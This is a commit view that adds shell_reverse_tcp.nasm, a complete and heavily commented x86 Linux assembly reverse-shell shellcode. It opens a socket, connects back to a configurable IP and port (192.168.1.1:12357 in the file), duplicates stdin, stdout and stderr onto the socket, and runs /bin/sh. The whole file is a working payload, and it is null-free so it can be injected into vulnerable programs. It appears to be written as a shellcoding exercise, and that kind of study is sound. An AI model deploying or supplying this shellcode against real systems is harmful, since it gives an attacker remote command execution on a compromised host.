arno01
11 years ago
parent
9a4651f4f4
commit
197f383ec9
@ -0,0 +1,197 @@
|
||||
; This program is free software: you can redistribute it and/or modify
|
||||
; it under the terms of the GNU General Public License as published by
|
||||
; the Free Software Foundation, either version 3 of the License, or
|
||||
; (at your option) any later version.
|
||||
;
|
||||
; This program is distributed in the hope that it will be useful,
|
||||
; but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
; MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
; GNU General Public License for more details.
|
||||
;
|
||||
; You should have received a copy of the GNU General Public License
|
||||
; along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
|
||||
; Filename: shell_reverse_tcp.nasm
|
||||
; Author: Andrey Arapov <andrey.arapov@gmail.com>
|
||||
; 2013 March
|
||||
;
|
||||
; DESC:
|
||||
; - Reverse connects to configured IP and Port
|
||||
; - Execs Shell on successful connection
|
||||
;
|
||||
; IP and Port are the last 6 bytes of the shellcode.
|
||||
; In hex \xc0\xa8\x01\x01\x30\x45 (0xc0a80101 = 192.168.1.1 AND 0x3045 = 12357)
|
||||
;
|
||||
|
||||
global _start
|
||||
|
||||
|
||||
section .text
|
||||
|
||||
_start:
|
||||
|
||||
;
|
||||
; Reverse engineering
|
||||
; $ strace -e execve,socket,bind,connect nc 127.0.0.1 12357
|
||||
; execve("/usr/bin/nc", ["nc", "127.0.0.1", "12357"], [/* 59 vars */]) = 0
|
||||
; socket(PF_NETLINK, SOCK_RAW, 0) = 3
|
||||
; bind(3, {sa_family=AF_NETLINK, pid=0, groups=00000000}, 12) = 0
|
||||
;
|
||||
; Below starts what we were looking for:
|
||||
;
|
||||
; socket(PF_INET, SOCK_STREAM, IPPROTO_TCP) = 3
|
||||
; connect(3, {sa_family=AF_INET, sin_port=htons(12357), sin_addr=inet_addr("127.0.0.1")}, 16) = -1 EINPROGRESS (Operation now in progress)
|
||||
;
|
||||
|
||||
;
|
||||
; Starting to code
|
||||
;
|
||||
|
||||
;
|
||||
; =============================== SOCKET =====================================
|
||||
; socket(PF_INET, SOCK_STREAM, IPPROTO_TCP) = 3
|
||||
;
|
||||
; int socket(int domain, int type, int protocol);
|
||||
;
|
||||
; int socketcall(int call, unsigned long *args)
|
||||
; socketcall SYS_SOCKET socket() args
|
||||
; EAX EBX ECX
|
||||
; 102 1 (2, 1, 6)
|
||||
;
|
||||
; SYS_SOCKET will return file descriptor (fd) in EAX.
|
||||
;
|
||||
|
||||
; EAX
|
||||
xor eax, eax
|
||||
mov al, 102 ; socketcall
|
||||
|
||||
; EBX
|
||||
xor ebx, ebx
|
||||
mov bl, 1 ; SYS_SOCKET socket()
|
||||
|
||||
; ECX
|
||||
xor ecx, ecx
|
||||
push ecx
|
||||
push BYTE 6 ; IPPROTO_TCP || int protocol);
|
||||
push BYTE 1 ; SOCK_STREAM || int type,
|
||||
push BYTE 2 ; AF_INET || socket(int domain,
|
||||
mov ecx, esp ; ECX - PTR to arguments for socket()
|
||||
int 0x80
|
||||
|
||||
; EAX return
|
||||
mov esi, eax ; save socket fd in ESI for later
|
||||
|
||||
|
||||
;
|
||||
; =============================== CONNECT =====================================
|
||||
;
|
||||
; connect(3, {sa_family=AF_INET, sin_port=htons(12357), sin_addr=inet_addr("127.0.0.1")}, 16) = -1 EINPROGRESS (Operation now in progress)
|
||||
;
|
||||
; int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
|
||||
;
|
||||
|
||||
jmp short call_get_ip_and_port
|
||||
back2shellcode:
|
||||
pop edi ; getting ip and port address from ESP
|
||||
|
||||
; EAX
|
||||
xor eax, eax
|
||||
mov al, 102 ; socketcall
|
||||
|
||||
; EBX
|
||||
xor ebx, ebx
|
||||
mov bl, 3 ; SYS_CONNECT connect()
|
||||
|
||||
; ECX
|
||||
xor edx, edx
|
||||
; push edx ; 0.0.0.0 - ALL interfaces
|
||||
; push DWORD 0x0100007f ; 127.0.0.1 in reverse *** CONTAINS NULLs ! ***
|
||||
; push DWORD 0x0101a8c0 ; 192.168.1.1 in reverse
|
||||
push DWORD [edi] ; push IP
|
||||
push WORD [edi+0x4] ; push port
|
||||
dec ebx ; decreaes bl from 3 to 2 to use for the next push
|
||||
push WORD bx ; 2 - AF_INET
|
||||
inc ebx ; put back bl to 3 for SYS_CONNECT
|
||||
mov ecx, esp ; ptr to struct sockaddr
|
||||
|
||||
push BYTE 16 ; socklen_t addrlen);
|
||||
push ecx ; const struct sockaddr *addr,
|
||||
push esi ; connect(int sockfd,
|
||||
mov ecx, esp ; ECX = PTR to arguments for connect()
|
||||
int 0x80 ; sockfd will be in EBX
|
||||
|
||||
|
||||
|
||||
;
|
||||
; =============================== DUP FD =====================================
|
||||
;
|
||||
; Before we spawn a shell, we need to forward all I/O (stdin,stdout,stderr)
|
||||
; to a client. For this, we can dup2 syscall to duplicate a file descriptor.
|
||||
; man 2 dup2
|
||||
; int dup2(int oldfd, int newfd);
|
||||
; EAX, EBX, ECX
|
||||
; 63 sockfd 0
|
||||
; 63 sockfd 1
|
||||
; 63 sockfd 2
|
||||
;
|
||||
|
||||
; move our sockfd to EAX
|
||||
mov eax, ebx
|
||||
|
||||
xor eax, eax
|
||||
mov al, 63 ; dup2 syscall
|
||||
xor ecx, ecx ; 0 - stdin
|
||||
int 0x80 ; call dup2(sockfd, 0)
|
||||
|
||||
mov al, 63 ; dup2 syscall
|
||||
mov cl, 1 ; 1 - stdout
|
||||
int 0x80 ; call dup2(sockfd, 1)
|
||||
|
||||
mov al, 63 ; dup2 syscall
|
||||
mov cl, 2 ; 2 - stderr
|
||||
int 0x80 ; call dup2(sockfd, 2)
|
||||
|
||||
|
||||
;
|
||||
; =============================== EXECVE =====================================
|
||||
;
|
||||
; Now as we forwarded sockfd to a client, we can spawn shell.
|
||||
; Prepare the path, in little-endian, using the Python
|
||||
; >>> '//bin/sh'[::-1].encode('hex')
|
||||
; '68732f6e69622f2f'
|
||||
;
|
||||
; int execve(const char *filename, char *const argv[], char *const envp[]);
|
||||
; EAX EBX, ECX, EDX
|
||||
; 11 '//bin/sh' PTR to EBX NULL
|
||||
;
|
||||
;
|
||||
|
||||
; EAX
|
||||
xor eax, eax
|
||||
mov al, 11 ; execve syscall
|
||||
|
||||
; EBX
|
||||
xor edx, edx
|
||||
push edx ; NULL termination of '//bin/sh' string
|
||||
push 0x68732f6e ; '//bin/sh' in reverse
|
||||
push 0x69622f2f ; beginning of '//bin/sh' string is here
|
||||
mov ebx, esp ; put the address of '//bin/sh' into ebx via esp
|
||||
|
||||
; ECX
|
||||
push edx ; NULL termination of a stack
|
||||
push ebx ; load our '//bin/sh' on a stack
|
||||
mov ecx, esp ; ECX is a PTR to stack where we've got EBX address to '//bin/sh' string.
|
||||
|
||||
; EDX
|
||||
push edx ; NULL terminator
|
||||
mov edx, esp ; EDX is a PTR to a stack which has an address to NULL.
|
||||
int 0x80 ; call execve(EBX, ECX, EDX)
|
||||
|
||||
|
||||
call_get_ip_and_port:
|
||||
call back2shellcode
|
||||
; dd 0x0101a8c0 ; DWORD 192.168.1.1 reverse (in hex)
|
||||
db 0xc0, 0xa8, 0x01, 0x01 ; BYTE 192.168.1.1 straight (in hex)
|
||||
; dw 0x4530 ; WORD 12357 reverse (in hex)
|
||||
db 0x30, 0x45 ; BYTE 12357 straight (in hex)
|
||||
|
||||
Loading…
Reference in new issue